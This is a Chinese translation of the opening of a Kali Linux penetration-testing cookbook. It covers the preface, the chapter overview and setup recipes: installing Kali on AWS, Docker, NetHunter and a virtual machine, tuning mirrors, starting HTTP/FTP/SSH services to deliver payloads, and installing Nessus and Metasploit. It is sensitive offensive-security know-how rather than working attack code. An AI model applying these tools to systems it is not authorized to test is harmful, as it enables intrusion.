Kali-Linux-入侵和利用秘籍(全)

Kali Linux 入侵和利用秘籍(全)

原文:annas-archive.org/md5/38D0D8F444F88ADA9AC2256055C3F399

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书揭示了使用 Kali Linux 进行渗透测试过程的最佳方法和技术。这对网络系统管理员是一个增值,帮助他们了解整个安全测试方法。这将帮助他们在日常攻击中保护自己,使他们能够提前找到并修补漏洞。由于企业环境中的渗透测试通常是每年进行一次,这将帮助管理员定期主动保护他们的网络。

本书涵盖了开始进行安全测试和在企业网络或正在测试的服务器上执行自己的安全评估的方法。通过本书,您将开发出更广泛的技能和完整的渗透测试场景的知识,您将能够对任何网络执行成功的渗透测试。

Kali Linux 是一个带有先进工具的先进操作系统,将帮助识别、检测和利用漏洞。它被认为是成功的安全测试的一站式操作系统。

本书涵盖的内容

第一章,“入门-设置环境”,教你如何在系统、亚马逊云、移动设备和 Docker 上安装 Kali Linux 和 Kali 产品。本章帮助您熟悉在多种便利的媒介上安装 Kali Linux,以及安装多个第三方工具。

第二章,“网络信息收集”,涵盖了在网络上发现服务器和开放端口。您还将学习探测服务和抓取横幅,以及扫描网络的不同方式,包括 IDS/IPS/防火墙绕过。

第三章,“网络漏洞评估”,向您展示了如何使用某些 Kali 工具进行漏洞评估。您将通过测试一个脆弱的机器来学习漏洞评估。您还将学习使用高级工具进行评估。

第四章,“网络利用”,涵盖了多种技术,用于入侵网络服务,如 FTP、HTTP、SSH、SQL。此外,您还将学习如何利用 Linux 和 Windows 机器上的脆弱服务。

第五章,“Web 应用信息收集”,展示了如何进行 Web 应用程序侦察,通过 DNS 协议进行收集,并检测 WAF 防火墙/负载均衡器。您还将学习如何进行暴力破解以发现隐藏的文件/文件夹和 CMS/插件检测,以及发现 SSL 密码协议漏洞。

第六章,“Web 应用漏洞评估”,演示了如何使用各种 Web 应用测试工具在应用程序中查找漏洞,并设置代理和通过代理进行各种攻击。

第七章,“Web 应用利用”,教你如何利用基于 Web 的漏洞。您将学习如何进行 RFI/LFI 攻击,WebDAV 利用,利用文件上传漏洞,SQL 注入漏洞等。

第八章,“系统和密码利用”,展示了如何破解 Windows/Linux OS 上的密码哈希。您还将学习如何使用社会工程工具包和 BEef-xxs 进行利用,并访问目标系统。

第九章 权限提升和利用,为您提供了一个实际的方法来提升系统/根权限。您将学习各种技术,帮助您在 Windows 机器上提升权限。

第十章 无线利用,教你如何设置无线网络进行渗透测试和了解基础知识。您还将学习如何破解 WEP、WPA2 和 WPS。除此之外,您还将学习拒绝服务攻击。

附录,渗透测试 101 基础,这将帮助读者了解不同类型的测试方法,为什么要进行测试以及企业级测试的工作原理。它还使人了解整个安全测试的目标。

本书需要什么

要按照本书中的步骤,您将需要最新版本的 Kali Linux;可以在www.kali.org/downloads/找到。详细的安装步骤在 Kali 的 readme 部分中介绍,可以在docs.kali.org/category/installation找到。对于无线测试,将需要一个无线设备;我们演示了使用 alfa awus036h 卡进行测试。具有类似功能的芯片组可以在www.aircrack-ng.org/doku.php?id=compatibility_drivers找到。

在某些情况下,有必要安装 Docker,读者可以从中拉取易受攻击的镜像并开始测试。Docker 可以从www.docker.com/get-docker安装。我们还展示了如何在 OnePlus One 移动设备上安装 NetHunter;为此,将需要 OnePlus One 或 Kali NetHunter 支持的设备。NetHunter 支持的设备包括:Nexus 5、Nexus 6、Nexus 7、Nexus 9、Nexus 10 和 OnePlus One。

这本书是为谁写的

本书致力于所有系统网络管理员,以及希望了解企业网络安全测试方法的个人。即使是初学者也可以找到合适的内容来了解测试 Linux、Windows 服务器和无线网络。

章节

在本书中,您会发现一些经常出现的标题(准备工作、如何做、它是如何工作的、还有更多、另请参阅)。

为了清晰地说明如何完成一个配方,我们使用以下部分:

准备工作

本节告诉您在配方中可以期待什么,并描述如何设置任何软件或配方所需的任何预备设置。

如何做…

本节包含了遵循配方所需的步骤。

它是如何工作的…

本节通常包括对前一节发生的事情的详细解释。

还有更多…

本节包含有关配方的其他信息,以使读者更加了解配方。

另请参阅

本节提供了有关配方的其他有用信息的链接。

约定

在本书中,您会发现一些区分不同类型信息的文本样式。以下是这些样式的一些示例及其含义的解释。

文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下:"在您的终端窗口中,用您喜欢的编辑器打开/etc/apt/sources.list.d/backports.list文件。"

任何命令行输入或输出都以以下方式编写:

docker pull kalilinux/kali-linux-docker

新术语重要单词以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,会以这样的方式出现在文本中:"选择您喜欢的语言,然后点击继续。"

注意

警告或重要说明会以这样的方式出现在一个框中。

提示

提示和技巧会显示在这里。

第一章: 入门-设置环境

在本章中,我们将介绍与首次使用 Kali Linux 设置相关的基本任务。 配方包括:

  • 在云上安装 Kali Linux-Amazon AWS

  • 在 Docker 上安装 Kali Linux

  • 在 OnePlus One 上安装 NetHunter

  • 在虚拟机上安装 Kali Linux

  • 定制 Kali Linux 以实现更快的软件包更新

  • 定制 Kali Linux 以实现更快的操作

  • 配置远程连接服务-HTTP,TFTP 和 SSH

  • 配置 Nessus 和 Metasploit

  • 配置第三方工具

  • 在 Kali Linux 上安装 Docker

介绍

Kali Linux 是最受欢迎的 Linux 渗透测试发行版 Backtrack 的全面改版。 Kali Linux 2.0 于 2015 年 8 月 11 日推出,是 Kali Linux 的改进版本,具有全新的内核 4.0,并基于 Debian 的 Jessie 版本,具有改进的硬件和无线驱动程序覆盖范围,支持各种桌面环境(GNOME,KDE,XFCE,MATE,e17,LXDE 和 i3wm)和工具等等。

如果您要从 Kali Linux 升级到 Kali Linux 2.0,那么有一个好消息。 好消息是现在我们有了一个滚动的发行版。 例如,Kali Linux 核心不断更新。

Kali Linux 具有您进行渗透测试和安全评估所需的一切,而无需考虑下载,安装和为您的工具库中的每个工具设置环境。 Kali Linux 2.0 包括 300 多种安全工具。 您现在可以在一个地方安装,配置和准备使用全球专业人士最喜欢的安全工具。

所有安全工具都已经被逻辑地分类并映射到执行一系列步骤的测试人员,例如,侦察,扫描,利用,权限提升,保持访问权限和覆盖轨迹。

安全工具通常很昂贵,但 Kali Linux 是免费的。 使用 Kali 的最大优势是它包含各种商业安全产品的开源或社区版本。

Kali Linux 2.0 现在支持比以往更多的硬件设备。 由于基于 ARM 的系统变得更便宜和更易获得,现在可以使用 ARMEL 和 ARMHF 支持在这些设备上运行 Kali Linux。 目前,Kali Linux 可用于以下 ARM 设备:

  • 树莓派(树莓派 2,树莓派 A/B+和树莓派 A/B+ TFT)

  • CompuLab-Utilite 和 Trim-Slice

  • BeagleBone Black

  • ODROID U2/X2

  • Chromebook-HP,Acer 和 Samsung

  • Cubieboard 2

  • CuBox(CuBox 和 CuBox-i)

  • Nexus 5(Kali Nethunter)

  • Odroid(U2,XU 和 XU3)

  • USBArmory

  • RioTboard

  • FriendlyARM

  • BananaPi

在云上安装 Kali Linux-Amazon AWS

将 Kali Linux 列入 Amazon EC2 Marketplace 已经将近 2 年了。 这对于渗透测试人员来说是一个非常好的消息,因为他们可以在 Amazon AWS 基础架构中设置自己的 Kali Linux 并用于渗透测试,而且甚至符合免费套餐的条件,只要您在指定的限制范围内使用它,这是相当公平的。

本配方中提供的步骤将帮助您在 Amazon AWS EC2 控制台上安全地设置运行 Kali Linux 的实例,仅需几分钟。

准备好

对于这个配方,您需要:

  • 一个 Amazon AWS 帐户

  • 至少 2GB RAM,如果要运行 Metasploit

如何做...

按照本配方执行以下步骤:

  1. 创建了 Amazon AWS 帐户后,登录到aws.amazon.com,并转到Amazon Web Services仪表板,如下面的屏幕截图所示。 转到EC2 | Launch Instance如何做...

  2. 您需要选择Amazon Machine Image (AMI),如下面的屏幕截图所示:如何做...

  3. 单击AWS Marketplace选项,并在AWS Marketplace上搜索 Kali Linux,如下面的屏幕截图所示:操作步骤...

  4. 单击Select,然后单击Continue,如下面的屏幕截图所示:操作步骤...

  5. 现在您已经在第 2 步显示的屏幕上。在这里,您可以选择实例类型;请注意,只有t1.microt2.micro才符合免费套餐的条件。但是,运行 Metasploit 需要至少 2GB 的 RAM。为此,您可以根据预算选择t2.smallt2.medium,如下面的屏幕截图所示:操作步骤...

  6. 单击Review and Launch。您将看到一个弹出窗口,询问您是否要将 SSD 用作启动卷。选择Make general purpose (SSH)...(recommended),然后单击Next,如下面的屏幕截图所示:操作步骤...

  7. 您将直接进入第 7 步进行审查,如下面的屏幕截图所示:操作步骤...

  8. 首先会看到一个警告,提示您改善实例安全性;单击6.配置安全组,如下面的屏幕截图所示:操作步骤...

  9. 单击Source下拉列表,选择My IP,它将自动检测您的公共 IP 范围。单击Review and Launch。请注意,这仅在您拥有专用公共 IP 时才有效。如果您有动态 IP,您需要重新登录到 AWS 控制台,并允许您的更新 IP 地址:操作步骤...

  10. 正如您所看到的,有一个警告说您不符合免费使用套餐的条件,因为我们选择了m2.medium,需要至少 2GB 的 RAM:操作步骤...

  11. 单击Launch;在这里,您需要在继续之前创建并下载一个新的密钥对,如下面的屏幕截图所示:操作步骤...

  12. 下载了密钥对后,继续单击Launch Instances,如下面的屏幕截图所示:操作步骤...

操作步骤...

EC2 中的 EC 代表弹性计算,简而言之就是在云中启动虚拟服务器。亚马逊 AWS 已经有了所有流行的操作系统镜像,并且您只需要选择您的需求,然后选择硬件需求。根据您选择的操作系统和硬件配置,AWS 将配置该硬件并安装该操作系统。您可以选择您想要的存储类型,传统或 SSD,然后根据您的需求附加/分离硬盘。最重要的是,您只需支付您想要使用的时间,当您停止 EC2 机器时,AWS 将释放这些资源并将它们添加回其库存,这就是 AWS 的灵活性。现在,是时候快速回顾一下我们在这个配方中所做的事情了。作为先决条件,您需要首先创建一个亚马逊 AWS 帐户,这非常容易创建。然后,步骤 1 向您展示如何选择 EC2。步骤 2 和 3 展示了如何搜索和选择 Kali Linux 的最小镜像。在第 4 步中,您可以阅读 Kali Linux AMI 提供的所有内容,基本要求和用户登录信息。第 5 步向您展示如何根据您的需求和预算选择实例类型。在第 6 到 7 步中,您将通过简单的向导选择默认推荐的 SSD 进行引导。第 8 步向您展示了最终页面,其中包含您应该注意或了解的警告和要点。在第 9 步中,您选择在 SSH 协议端口22上设置安全组,只允许您从属于您的特定 IP 范围访问。在第 10 步中,您将看到审查页面,根据您的实例类型选择,它会告诉您是否有资格获得免费套餐。在第 11 步中,您创建一个新的 SSH 密钥对并将其下载到本地计算机。在第 12 步中,您最终点击启动实例。

还有更多...

在亚马逊 AWS 基础设施中安装了 Kali Linux,并具有公共 IP 地址,只需点击几下,就可以在外部渗透测试期间非常有帮助。正如您所知,我们已经选择并安装了 Kali Linux 的最小镜像,用于在 AWS 基础设施中使用,因此我们的安装默认没有安装任何工具。

在我们的下一个配方中,我们将介绍如何使用 SSH 并在亚马逊 AWS 盒子上设置 Kali Linux 以供使用。在这个配方中,我们还将解决您在更新存储库和安装 Kali Linux 工具以及设置 GUI 和安装我们将需要使用的所有必需工具时可能遇到的一些问题。

在 Docker 上安装 Kali Linux

我认为在这里对 Docker 进行一点介绍是合理的。Docker 是一种新的开源容器技术,于 2013 年 3 月发布,它自动化了在自包含软件容器内部部署应用程序。Docker(建立在 Linux 容器之上)提供了一种更简单的方式来管理单台机器上的多个容器。将其视为虚拟机,但它更轻量级和高效。

这样做的美妙之处在于您几乎可以在任何可以运行 Docker 的系统上安装 Kali Linux。比如,例如,您想在 Digital Ocean droplet 上运行 Kali,但它不允许您直接像 Ubuntu 那样快速启动 Kali Linux。但现在,您可以在数字海洋上简单地快速启动 Ubuntu 或 Centos,并在其上安装 Docker,然后拉取 Kali Linux Docker 镜像,您就可以开始了。

由于 Docker 提供了另一层抽象,从安全的角度来看也是有益的。比如,如果您运行的是托管应用程序的 apache 服务器,您可以简单地为其创建一个 Docker 容器并运行它。即使您的应用程序受到攻击,攻击者也只能被限制在 Docker 镜像中,无法伤害您的主机操作系统。

说了这么多,现在在您的机器上安装 Docker,为了演示的目的,我们将在 Mac 操作系统上安装 Docker。

准备就绪

对于这个操作,你需要以下东西:

  • 连接到互联网

  • 已安装的 Virtualbox

如何操作...

按照以下步骤进行此操作:

  1. 要在 Mac 操作系统上安装 Docker,你需要从www.docker.com/docker-toolbox下载并安装 Docker 工具箱。在你的 Mac 上运行此安装程序后,你将设置 Docker 环境;工具箱将安装 Docker 客户端、Machine、Compose(仅限 Mac)、Kitematic 和 VirtualBox。

  2. 安装完成后,转到应用程序 | Docker | Docker 快速启动终端.app,或者直接打开启动台并点击 Docker 快速启动。当你双击该应用程序时,你将看到终端窗口,如下面的屏幕截图所示:如何操作...

  3. 要检查你的安装是否成功,你可以运行以下命令:

 docker run hello-world

如果你的安装成功,你将看到以下输出:

如何操作...

  1. 现在,让我们去 Docker hub(hub.docker.com)搜索Kali Linux镜像,如下面的屏幕截图所示:如何操作...

  2. 正如你所看到的,官方的 Kali 镜像是可用的;我们将使用以下命令在我们的 Docker 中拉取并运行它:

 docker pull kalilinux/kali-linux-docker
 docker run -t -i kalilinux/kali-linux-docker

  1. 现在,你在 Docker 中运行了 Kali Linux 的最小基础版本;这个镜像中没有添加任何工具,你可以根据需要安装它们,或者你可以参考www.kali.org/news/kali-linux-metapackages/

  2. 假设你只想运行 Metasploit;为此,你可以在 hub 上搜索kali Metasploit镜像,并安装到目前为止拉取次数最多的镜像,如下面的屏幕截图所示:如何操作...

  3. 使用以下命令拉取镜像;但在这之前,请注意这不是官方镜像。因此,你可以自行决定是否信任这个镜像:

 docker pull linuxkonsult/kali-metasploit

  1. 然后,使用docker run命令运行 Docker 镜像,如下所示:
docker run -t -i linuxkonsult/kali-metasploit

输出将如下所示:

如何操作...

框架准备好后,解压并执行,应该如下所示:

如何操作...

正如你所看到的,你已经更新并运行了 Metasploit。但这还不是全部;你所做的所有更改都不是永久的,直到你提交这些更改。一旦你提交了更改,下次可以从你离开的地方继续。要提交更改,打开另一个控制台窗口并输入以下命令:

      docker ps

  1. 运行此命令后,你将看到以下输出,如下面的屏幕截图所示:如何操作...

  2. 要提交更改,你需要按照以下格式输入命令:

      docker commit <docker-id> <docker-name>
docker commit bd590456f320 admiring_pike

成功提交后,你将看到以下输出:

b4a7745de59f9e106029c49a508c2f55b36be0e9487dbd32f6b5c58b24fcb57

工作原理...

在这个操作中,我们需要先安装 Virtualbox 作为先决条件,然后下载并安装 Docker 工具箱。一旦 Docker 工具箱安装完成,只需打开Docker 快速启动终端.app并拉取你想要运行的镜像,你可以从hub.docker.com搜索所需的镜像,并使用docker run命令来运行它。完成操作后,只需使用docker commit命令提交更改。

在这里,我们使用了-i-t开关。对于交互式进程(如 shell),你必须同时使用-i -t来为容器进程分配电传打字机TTY)。-i -t开关通常写作-it

还有更多...

您可以在www.docker.com了解有关 Docker 的更多信息。要搜索公共映像,您可以访问hub.docker.com。要安装 Kali Linux 元软件包,您可以访问www.kali.org/news/kali-linux-metapackages/

在 OnePlus One 上安装 NetHunter

Kali Linux NetHunter 是 Nexus 和 One Plus 设备的第一个开源网络渗透测试平台。在本章中,我们将看到如何在 One Plus One 上安装 Kali Linux NetHunter。

在开始之前,请确保在进行以下任何操作之前备份设备数据。

准备工作

为了开始,您将需要以下内容:

  • 一部 OnePlus One 设备,64GB

  • 一根 USB 电缆

  • 任何 Windows 操作系统

  • NetHunter Windows 安装程序

  • 活动的互联网连接

如何做...

执行以下步骤进行此操作:

  1. www.nethunter.com/download/下载 Kali NetHunter Windows 安装程序,您将看到以下页面:如何做...

  2. 安装下载的设置,如下截图所示:如何做...

  3. 安装完成后,在桌面上创建的快捷方式上运行:如何做...

  4. 应用程序加载后,请确保检查是否有更新。如果没有,请单击下一步按钮:如何做...

  5. 现在我们将选择设备进行 root。我们的教程坚持选择 OnePlus,因此让我们选择ONEPLUSONE-BACON (A0001) - 64GB选项,然后单击下一步如何做...

  6. 现在我们将提示安装驱动程序,这些是用于笔记本电脑/PC 通过 USB 连接与移动设备通信的驱动程序。单击安装驱动程序...开始安装过程。安装完成后,单击测试驱动程序...**以确保驱动程序正常工作,如下截图所示:如何做...

  7. 一旦驱动程序正确安装,点击下一步,现在我们将进入安装程序配置。在这里,建议继续进行安装官方 Kali Linux NetHunter。如果您有自定义的 NetHunter,请选择第二个选项,但要注意兼容性问题:如何做...

  8. 点击下一步,我们将进入下载文件选项,应用程序将确定可用的软件包和缺少的文件可以通过下载+更新所有文件依赖项选项获取。如果卡住或任何文件无法下载,您可以简单地谷歌文件名并下载它并将其放入应用程序安装的文件夹中:如何做...

  9. 一旦所有依赖项都可用,请确保执行以下操作:如何做...

  10. 完成后,我们可以继续解锁启动加载程序。单击解锁设备启动加载程序。在从这一点开始之前,请务必备份设备的所有重要数据:如何做...

  11. 手机将进入Fastboot模式并进行解锁。完成后,继续下一步,刷入原始 ROM。这是一个新的 ROM,将安装在您的设备上,以保持与 Kali Linux NetHunter 的兼容性。如下截图所示,单击刷入原始...如何做...

  12. 完成刷入原始后,继续下一步,单击刷入 Kali Linux + Root!,如下截图所示:如何做...

上述步骤将在您的设备中获取 Kali Linux NetHunter。一旦成功,设备将进入 TWRP 恢复模式。

  1. 在恢复模式中,点击重新启动,它会要求安装超级用户,滑动一次安装完成后,Kali Linux 将启动。现在,点击SuperSU,看看它是否工作:操作步骤...

  2. 下载 Stephen(Stericson)的BusyBox并安装,如下面的屏幕截图所示:操作步骤...

  3. 点击名为NetHunter的图标,如下面的屏幕截图所示:操作步骤...

  4. 一旦应用程序运行,您将被要求授予 root 权限。点击授予,然后转到 Kali 启动器,然后转到终端,如下面的屏幕截图所示:操作步骤...

  5. 选择 Kali 终端并启动Metasploit,如下面的屏幕截图所示:操作步骤...

  6. 在设备上启动msfconsole操作步骤...

它是如何工作的...

在这个教程中,我们展示了如何安装 Kali Linux,也称为 NetHunter。NetHunter 是 ARM,已被移植到非英特尔处理器上运行,构建在您信任的 Kali Linux 和工具集上。Kali Linux NetHunter 项目是一个面向 ARM 设备的开源 Android 渗透测试平台,由 Kali 社区成员BinkyBear和 Offensive Security 共同努力创建。

还有更多...

我们在设备上安装了 Kali NetHunter,现在我们可以从 OnePlus One 进行渗透测试,这在红队演习、社会工程或在进行物理安全评估时非常有效。

有关更多信息,请访问www.nethunter.com

在虚拟机上安装 Kali Linux

在硬盘上安装 Kali Linux 是第一步。在物理硬盘或虚拟硬盘上安装 Kali Linux 的过程是完全相似的。因此,可以放心地使用相同的步骤在物理机上安装 Kali Linux。毋庸置疑,只有使用这种方法才能将 Kali Linux 2.0 安装在您的硬盘上作为主要操作系统。

准备就绪

在安装 Kali Linux 之前,您将需要 Kali Linux 最新的 ISO 映像,可以从www.kali.org/downloads/下载。

如何操作...

执行以下步骤进行此教程:

  1. 在您的 macOS 上打开 VMware,按command + N,一旦完成,我们将看到如下的屏幕截图:操作步骤...

  2. 选择从光盘或映像安装,然后点击继续操作步骤...

  3. 拖放刚刚下载的 Kali Linux 2.0 ISO,如下面的屏幕截图所示:操作步骤...

  4. 选择Debian 5 64 位,然后点击继续,如下面的屏幕截图所示:操作步骤...

  5. 点击自定义设置,选择要保存虚拟机的位置:操作步骤...

  6. 保存后,VMware 打开Debian 设置。打开处理器和内存,将 RAM 大小增加到 4GB(或根据笔记本电脑上可用的内存)。请记住,作为先决条件,Metasploit 需要最少 2GB 的 RAM 来运行:操作步骤...

  7. 关闭窗口,点击启动,然后点击窗口内部。光标控制将转到Guest VM。向下滚动并选择图形安装,如下面的屏幕截图所示:操作步骤...

  8. 选择您喜欢的语言,然后点击继续(我们选择了英语):操作步骤...

  9. 选择您的国家(我们选择了美国):操作步骤...

  10. 选择您的键盘配置(我们选择了美式英语):操作步骤...

  11. 接下来,我们需要配置基本的网络服务。输入您喜欢的主机名(我们将其命名为Intrusion-Exploitation):如何做...

  12. 接下来,输入您选择的域名(我们输入了kali.example.com):如何做...

  13. 最重要的一步是输入您的 root 密码,并确保您有一个强密码,并且不要忘记它(使用 A-Z、a-z、0-9 和特殊字符的组合):如何做...

  14. 在下一个屏幕上,选择您的时区(我们选择了东部):如何做...

  15. 接下来,您将看到四个选项可供选择;如果您有首选的磁盘分区方式,可以选择手动。但是,为了简化分区,我们将使用引导-使用整个磁盘如何做...

  16. 在屏幕上,您将收到提示,整个磁盘空间将被格式化,单击继续如何做...

  17. 接下来,您将看到三个选项。由于我们只打算将其用于渗透测试,而不是作为服务器或主要桌面操作系统,所以选择一个分区中的所有文件是安全的:如何做...

  18. 您将看到对磁盘进行的更改摘要。选择完成分区并将更改写入磁盘,然后单击继续如何做...

  19. 选择,然后单击继续如何做...

  20. 接下来,您将被要求使用网络镜像配置您的软件包管理器。它允许您在 Kali 工具集可用时更新您的 Kali 工具集,而在我们的情况下,我们选择了如何做...

  21. 接下来,您可以输入您的网络中是否有代理服务器。如果没有,您可以简单地跳过并单击继续如何做...

  22. 最后,您将被要求将 GRUB 引导加载程序安装到/Dev/SDA-主引导记录;选择,然后单击继续如何做...

  23. 最后,您将被要求手动输入设备或/dev/sda; 选择/dev/sda并单击继续如何做...

  24. 如果您看到前面的屏幕,这意味着您已经完成了 Kali 的安装。恭喜!单击继续,您的系统将重新启动,带您进入全新安装的 Kali Linux。

它是如何工作的...

在这个步骤中,我们插入了 Kali Linux ISO 并启动了图形安装。在图形安装过程中,我们开始配置我们喜欢的语言、键盘语言、国家和时区。从第 5 步开始,我们输入了我们的 Kali Linux 主机名,在第 6 步,我们输入了我们的 Kali Linux 域名。

从第 9 步到第 13 步,我们配置了硬盘分区,将整个磁盘用于安装,并为所有文件夹创建了一个分区,因为我们只打算用它进行渗透测试。安装完成后,从第 14 步开始,我们配置了 Kali 以使用网络镜像进行更快的更新,配置了任何网络代理(如果需要),最后安装了 GRUB 引导加载程序。

为了更快地更新软件包,定制 Kali Linux

Kali 包含了 300 多个安全工具和系统二进制文件。安装 Kali Linux 后,您需要做的第一件事就是更新 Kali Linux,以获取最新的安全工具和功能集。由于 Kali 基于 Debian Linux,您可以使用apt-get update命令来更新二进制文件和工具的存储库。

然而,有时在更新 Kali Linux 时,您会注意到无论您的互联网速度和带宽如何,更新都可能会很慢。在这个步骤中,我们将向您展示如何更新您的源文件,以便您的软件包管理器可以更快地更新软件包:

准备工作

对于这个食谱,您需要连接到具有有效 IP 地址的互联网。

如何操作...

执行以下步骤来制作这个食谱:

  1. 打开终端并使用编辑器打开sources.list文件:
 vim /etc/apt/sources.list

  1. 默认的sources.list文件如下所示:
 #deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386       LIVE/INSTALL Binary 20140721-23:20]/ kali contrib main non-free
 deb http://http.kali.org/kali kali main non-free contrib
 deb-src http://http.kali.org/kali kali main non-free contrib
 ## Security updates
 deb http://security.kali.org/kali-security kali/updates main       contrib non-free

您只需要按照以下代码所示将http更改为repo

      #deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386       LIVE/INSTALL Binary 20140721-23:20]/ kali contrib main non-free
      deb http://repo.kali.org/kali kali main non-free contrib
      deb-src http://repo.kali.org/kali kali main non-free contrib
      ## Security updates
      deb http://security.kali.org/kali-security kali/updates main       contrib non-free

  1. 进行以下更改,保存文件,并通过按Esc键然后输入wq!并按Enter退出编辑器。

  2. 现在,使用以下命令更新和升级您的 Kali;您将注意到速度上的差异:

      apt-get update && apt-get upgrade

它是如何工作的...

Kali Linux 在世界各地有多个不同的镜像。根据您的 IP 地址位置,它会自动选择距离您最近的镜像。由于各种原因,这些镜像可能会随着时间的推移变得缓慢。您可以在http.kali.org/README.mirrorlist找到距离您最近的镜像列表。apt-get命令从/etc/apt/sources.list获取更新服务器列表。对sources.list文件的更改确保我们的 Kali 连接到正确的服务器并获得更快的更新。

定制 Kali Linux 以获得更快的操作

在审核和渗透测试期间,您将使用 Kali Linux。您需要配置和定制您的 Kali Linux,以便在这些关键测试过程中获得最高速度。在这个食谱中,我们将向您展示几种工具,可以用来优化您的 Kali Linux 体验。

准备工作

对于这个食谱,您需要连接到互联网。

如何操作...

执行以下步骤来制作这个食谱:

  1. Preload 是由 Behdad Esfahbod 编写的一个作为守护进程运行的程序。该应用程序密切观察经常使用的应用程序和二进制文件的使用情况,并在系统空闲时加载到内存中。这样可以加快启动时间,因为从磁盘获取的数据更少。您可以在wiki.archlinux.org/index.php/Preload了解更多关于这个应用程序的信息。要安装该应用程序,请在终端窗口上发出以下命令:
      apt-get install preload

BleachBit 快速释放磁盘空间,并不知疲倦地保护您的隐私。释放缓存,删除 cookie,清除互联网历史记录,销毁临时文件,删除日志,并丢弃您不知道存在的垃圾。您可以在bleachbit.sourceforge.net/了解更多关于这个应用程序的信息。

  1. 要安装该应用程序,请在终端窗口上发出以下命令:
      apt-get install bleachbit

  1. 默认情况下,Kali 不显示启动菜单中的所有应用程序和脚本。您安装的每个应用程序最终都会通过启动,即使不需要也会减慢启动过程。您可以安装 Boot-Up 管理器,并密切关注在启动过程中允许哪些服务和应用程序。您可以随时禁用不必要的服务和应用程序,以增加 Kali 的启动速度。

要安装该应用程序,请在终端窗口上发出以下命令:

      apt-get install bum

它是如何工作的...

在这个食谱中,我们使用了apt-get命令来安装基本系统实用程序,这些实用程序可以帮助我们在渗透测试期间有效地管理我们的 Kali Linux 资源,使我们的 Kali Linux 进程和启动文件夹优化以获得最佳性能。

配置远程连接服务-HTTP、TFTP 和 SSH

在渗透测试和审核期间,我们将需要从我们的 Kali Linux 向目标机器交付有效载荷。为此,我们将利用基本的网络服务,如 HTTP、FTP 和 SSH。HTTP 和 SSH 等服务默认安装在 Kali Linux 中,但 Kali 不启用任何网络服务以最小化检测。

在这个食谱中,我们将向您展示如何配置和开始安全运行服务:

准备工作

对于这个食谱,您需要连接到具有有效 IP 地址的互联网。

如何操作...

执行本教程的以下步骤:

  1. 让我们开始启动 Apache web 服务器。要启动 Apache 服务,请使用以下命令:
      service apache2 start

您可以通过浏览器浏览本地主机来验证服务是否正在运行,如下面的屏幕截图所示:

操作步骤...

  1. 要启动 SSH 服务,需要生成 SSH 密钥。在 Backtrack r5 中,您曾经使用sshd-generate命令生成 SSH 密钥,但在 Kali Linux 中不可用。使用默认的 SSH 密钥存在安全风险,因此应生成新的 SSH 密钥。要生成 SSH 密钥,您可以删除或备份 Kali Linux 生成的默认密钥:
      # cd /etc/ssh
      # mkdir default_kali_keys
      # mv ssh_host_* default_kali_keys/
      # cd /root/

  1. 首先,我们需要通过以下命令删除 SSH 的运行级别:
      # update-rc.d -f ssh remove

  1. 现在,我们需要通过以下命令加载默认的 SSH 运行级别:
      # update-rc.d -f ssh defaults

  1. 重新生成密钥:
# dpkg-reconfigure openssh-server 
      Creating SSH2 RSA key; this may take some time ...
      Creating SSH2 DSA key; this may take some time ...
      Creating SSH2 ECDSA key; this may take some time ...
      insserv: warning: current start runlevel(s) (empty) of script       `ssh' overrides LSB defaults (2 3 4 5).
      insserv: warning: current stop runlevel(s) (2 3 4 5) of script       `ssh' overrides LSB defaults (empty).

  1. 您可以检查 SSH 密钥散列是否已更改:操作步骤...

  2. 使用以下命令启动 SSH 服务:

      service ssh start

  1. 您可以使用netstat命令验证服务是否正在运行:
      netstat - antp | grep ssh

  1. 使用以下命令启动 FTP 服务器:
      service pure-ftpd start

  1. 要验证服务是否正在运行,请使用以下命令:
      netstat -ant | grep ftp

  1. 要停止任何服务,可以使用以下命令:
      service <servicename> stop

这里,<servicename>是要终止的服务的名称:

      service ssh stop

工作原理...

在本教程中,我们已配置并启动了基本网络服务,这些服务将根据情况用于向受害机交付有效载荷。我们已启动了 HTTP 服务、FTP 服务,并备份了默认的 SSH 密钥并生成了新的 SSH 密钥,并启动了 SSH 服务。

配置 Nessus 和 Metasploit

在本教程中,我们将向您展示如何安装、配置和启动 Nessus 和 Metasploit。

准备工作

对于本教程,我们将下载 Nessus 家庭版并注册有效许可证。

操作步骤...

执行本教程的以下步骤:

  1. 打开 Firefox 并转到www.tenable.com/products/nessus/select-your-operating-system,然后选择家庭版。在下一页上,选择操作系统为Debian 6 and 7(因为 Kali 基于 Debian Jessie),如下面的屏幕截图所示:操作步骤...

  2. 要安装 Nessus,请在终端中打开以下命令并输入:

      dpkg -i Nessus-6.2.0-debian6_amd64.deb

  1. 现在,您的 Nessus 已安装,如下面的屏幕截图所示:操作步骤...

  2. 安装完成后,使用以下命令启动 Nessus 服务:

      /etc/init.d/nessusd start

  1. 打开链接https://kali:8834,如下面的屏幕截图所示:操作步骤...

  2. 默认情况下,在安装期间,Nessus 配置为使用自签名证书来加密浏览器和 Nessus 服务器之间的流量;因此,您看到了前面屏幕截图中显示的页面。如果您从可信任的网站下载了 Nessus,可以安全地单击我了解风险并接受证书继续,然后您将看到以下页面:操作步骤...

  3. 单击继续,将显示初始帐户设置页面,如下面的屏幕截图所示:操作步骤...

  4. 输入要创建的用户名和密码组合,然后单击继续。在下一页上,您将需要输入激活代码,如下面的屏幕截图所示:操作步骤...

  5. 要获取激活码,请转到www.tenable.com/products/nessus-home,并在页面右侧填写表格以接收激活码。您将在电子邮件帐户中收到激活码。复制激活码并输入到此屏幕上并继续:操作步骤...

现在,激活已经完成,Nessus 将更新插件,工具将准备好供您使用。

  1. 现在我们已经安装了 Nessus。所以,让我们设置 Metasploit。Metasploit 在操作系统安装期间默认安装。要调用,您需要启动以下服务:
      # service postgresql start
      [ ok ] Starting PostgreSQL 9.1 database server: main.
      root@Intrusion-Exploitation:~#
      root@Intrusion-Exploitation:~# msfconsole
      [ ok ] Starting Metasploit rpc server: prosvc.
      [ ok ] Starting Metasploit web server: thin.
      [ ok ] Starting Metasploit worker: worker.

  1. Metasploit 将如下所示启动:操作步骤...

工作原理...

